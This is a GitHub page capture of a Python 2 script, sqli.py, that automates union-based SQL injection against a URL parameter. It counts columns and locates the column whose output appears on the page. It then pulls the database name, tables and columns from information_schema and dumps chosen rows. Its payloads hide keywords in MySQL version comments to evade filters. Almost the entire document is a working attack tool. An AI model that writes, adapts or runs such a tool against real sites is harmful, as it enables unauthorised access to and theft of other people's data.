-
Notifications
You must be signed in to change notification settings - Fork 25
/
Copy pathsqli.py
249 lines (226 loc) · 6.83 KB
/
sqli.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
import urllib as toxic
import sys
import os
import platform
clear = "clear"
if platform.system() == "Windows":
clear = "cls"
os.system(str(clear))
header="""
_________________ .____ .__
/ _____/\_____ \ | | |__|
\_____ \ / / \ \| | | |
/ \/ \_/. \ |___| |
/_______ /\_____\ \_/_______ \__|
\/ \__> \/
"""
print header
class Sqli:
url = None
vulCol = None
columns = None
dbs = []
payload = "0x2d31+/*!50000union*/+/*!50000select*/"
build = ["", ""]
key = "1620597971540027"
def setUrl(self):
for k, v in enumerate(sys.argv):
if v == "--url":
try:
u = sys.argv[k+1]
pos = u.find("=")
url = u[:pos+1]
self.url = url
except:
pass
try:
print "Url: "+u
print "\n"
except NameError:
pass
print "*ERROR*: Url not defined!\n"
print "Usage: python sqli.py --url http://testphp.vulnweb.com/listproducts.php?cat=1\n"
exit()
def getContent(self,url):
res = toxic.urlopen(url)
return res.read()
def setColumns(self):
try:
print "Start Count Columns..."
url = self.url + self.payload
start = 1
finish = 50
for i in range(start,finish):
sys.stdout.write("\rColumns Total: {0}".format(i))
if i != start and i != finish:
url+=", "
url+=self.key
res = self.getContent(url)
if res.find("union select") ==-1:
if res.find("1620597971540027") !=-1:
self.columns = i
return
self.columns = 0
except:
print "\nError!"
exit()
def setVulCol(self):
for i in range(1, self.columns+1):
line = self.payload
for j in range(1, self.columns+1):
if j != 1 and j != self.columns+1:
line = line + ", "
if i == j:
line+="/*!50000ConCat(0x27,"+self.key+",0x27)*/"
else:
line+="/*!50000ConCat(0x27,"+str(j)+",0x27)*/"
res = self.getContent(self.url + line)
if res.find(self.key) !=-1:
self.vulCol = i
return
self.vulCol = 0
exit()
def getConcat(self,string):
return "/*!50000Concat(0x5e27,/*!50000gROup_cONcat("+string+")*/,0x275e)"
def getVars(self,content):
pos = content.find("^'")
if(pos != -1):
ini = content[pos+2:]
pos = ini.find("'^")
if(pos !=-1):
return ini[:pos]
else:
print "*ERROR*: Not found!\n"
exit()
def getDatabase(self):
self.build = [self.url + self.payload, ""]
line = ""
side = 0
for i in range(1, self.columns+1):
if i != 1 and i != self.columns+1:
line=","
if side == 0:
if i != self.vulCol:
self.build[side]+=line+str(i)
line+= str(i)
else:
if i !=1:
self.build[side]+=","
side = 1
else:
self.build[side]+=line+str(i)
url = self.build[0]+"/*!50000Group_Concat(0x5e27,database(),0x275e)*/"+self.build[1]
res = self.getContent(url)
return self.getVars(res)
def getTables(self,database):
url = self.build[0]+self.getConcat("table_name")+self.build[1]+"++from+/*!50000inforMAtion_schema*/.tables+ /*!50000wHEre*/+/*!50000taBLe_scheMA*/like+database()--+"
res = self.getContent(url)
return self.getVars(res)
def charCode(self,string):
char = ""
last = len(string)-1
i = 0
for j in string:
char+=str(ord(j))
if last != i:
char+=", "
i+=1
return char
def getColumns(self,table,database):
url = self.build[0]+self.getConcat("column_name")+self.build[1]+"++from+/*!50000inforMAtion_schema*/.columns+ /*!50000wHEre*/+/*!50000taBLe_name*/=CHAR("+self.charCode(table)+")--+"
res = self.getContent(url)
return self.getVars(res)
def getData(self,cols,table,database):
line = ""
i = 0
title = ""
space = []
for name in cols:
space.append(len(name))
title+=name+"\t"
if i !=0:
line+=",0x3a,"
line+=name
i+=1
url = self.build[0]+"/*!50000ConCAt(0x5e27,/*!50000gROup_cONcat("+line+")*/,0x275e)"+self.build[1]+"+from+"+table+"--+-"
res = self.getContent(url)
data = self.getVars(res)
try:
rows = data.split(",")
except:
print "*ERROR*: Not found!\n"
vector = []
for j in rows:
i=0
col = j.split(":")
temp = []
for k in col:
temp.append(k)
if len(k)>space[i]:
space[i]=len(k)
i=i+1
vector.append(temp)
self.dbs[0].tables[0].setDatas(vector)
line=""
i=0
for j in cols:
line+=j
for k in range(len(j),space[i]+2):
line+=" "
print line
for j in rows:
i = 0
col = j.split(":")
line=""
i=0
for k in col:
line+=k
for l in range(len(k),space[i]+2):
line +=" "
i=i+1
print line
class Db:
name = None
tables = []
def setName(self, name):
self.name = name
def setTables(self, table):
self.tables = table
class Tb:
name = None
columns = []
rows = []
def setName(self,name):
self.name = name
def setColumns(self,columns):
self.columns = columns
def setDatas(self,rows):
self.rows = rows
s = Sqli()
s.setUrl()
s.setColumns()
s.setVulCol()
print "\nVul Column: " +str(s.vulCol)
db = Db()
database = s.getDatabase()
db.setName(database)
s.dbs.append(db)
for i in s.dbs:
print "Database: " + i.name
tbs = []
tables = s.getTables(s.dbs[0].name)
for i in tables.split(","):
tb = Tb()
tb.setName(i)
tbs.append(tb)
s.dbs[0].setTables(tbs)
print "Tables: "+tables
sys.stdout.write("\nTable: ")
table = raw_input()
cols = s.getColumns(table,s.dbs[0].name)
cls = cols.split(",")
s.dbs[0].tables[0].setColumns(cls)
print "Columns: "+cols
sys.stdout.write("\nColumns names: ")
cols = raw_input().split(",")
s.getData(cols,table,database)